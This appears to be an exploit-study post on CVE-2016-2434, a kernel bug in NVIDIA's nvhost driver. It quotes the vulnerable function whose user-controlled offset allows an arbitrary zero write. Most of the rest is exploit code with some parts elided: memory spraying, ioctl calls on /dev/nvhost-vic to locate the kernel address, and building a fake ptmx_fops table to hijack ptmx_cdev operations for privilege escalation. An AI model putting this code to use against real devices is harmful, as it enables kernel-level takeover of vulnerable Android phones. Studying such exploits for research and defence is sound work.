EXP学习--CVE-2016-2434

static int (struct nvhost_channel *ch,
        struct nvhost_set_error_notifier *args) {
    void *va;
    struct dma_buf *dmabuf;
    if (!args->mem) {
        dev_err(&ch->dev->dev, "invalid memory handlen");
        return -EINVAL;
    }
    dmabuf = dma_buf_get(args->mem);
    if (ch->error_notifier_ref)
        nvhost_free_error_notifiers(ch);
    if (IS_ERR(dmabuf)) {
        dev_err(&ch->dev->dev, "Invalid handle: %dn", args->mem);
        return -EINVAL;
    }
    
    va = dma_buf_vmap(dmabuf);
    if (!va) {
        dma_buf_put(dmabuf);
        dev_err(&ch->dev->dev, "Cannot map notifier handlen");
        return -ENOMEM;
    }
    /* set channel notifiers pointer */
    ch->error_notifier_ref = dmabuf;
    ch->error_notifier = va + args->offset; // args can be control
    ch->error_notifier_va = va;
    memset(ch->error_notifier, 0, sizeof(struct nvhost_notification)); 
    return 0;
}

map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);      // alloc a large mem
	........
	if(map == MAP_FAILED) {
		printf("[-] Failed to mmap landing (%d-%s)n", errno, strerror(errno));
		ret = -1;
		goto out;
	}
	printf("[+] landing mmap'ed @ %pn", map);
	memset(map, 0xff, 0x10000000);      // set all mem to 0xff
	fd = open("/dev/nvhost-vic", O_RDONLY);
	if(fd == -1) {
		printf("[-] Open nvhost-vic fail (%s - %d)n", strerror(errno), errno);
		ret = -1;
		goto open_vic_out;
	}
	printf("[+] open device nvhost-vicn");
	memset(&arg, 0, sizeof(arg));
	arg.mem = nvmap_handle;
	arg.offset = (unsigned long)map - 0xffffff8000000000;      //adjust address with userspace start
	arg.size = 0;
	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
	ret = ioctl(fd, cmd, &arg);                              // call vul ioctl 
	if(ret == -1) {
		printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);
		goto ioctl_out;
	}
	for(i=0; i<0x10000000/8; i++) {                        //find zero offset .aka va
		tmp = *((unsigned long*)map + i);
		if(tmp == 0) {
			break;
		} 
	}
	va = 0xffffff8000000000 + i * 8;
	printf("[+] va position: 0x%lxn", va);
    
    .........

   .........
   
map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);
if(map2 == MAP_FAILED) {
	ret = -1;
	printf("[-] shellcode mmap failed (%d-%s)n", errno, strerror(errno));
	goto ioctl_out;
}
printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.n", map2);
memset(map2, 0, 0x10000000);
fake_ptmx_fops = PTMX_FOPS & 0xffffffff;                                         //fake PTMX_FOPS
*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;
printf("[+] clear ptmx_cdev list firstn");
memset(&arg, 0, sizeof(arg));
arg.mem = nvmap_handle;
arg.offset = PTMX_MISC - va + 8 * 10;
arg.size = 0;
																//set the high 32 bit of ptmx_fops to zero
cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;                  //it will point to fake ptmx_fops in userspace
ret = ioctl(fd, cmd, &arg);
if(ret == -1) {
	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);
	goto ioctl_out_2;
}
printf("[+] overwrite ptmx_cdev opsn");
memset(&arg, 0, sizeof(arg));
arg.mem = nvmap_handle;
arg.offset = PTMX_MISC - va + 8 * 10 - 4;
arg.size = 0;
cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
ret = ioctl(fd, cmd, &arg);
if(ret == -1) {
	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);
	goto ioctl_out_2;
}
   
   ...........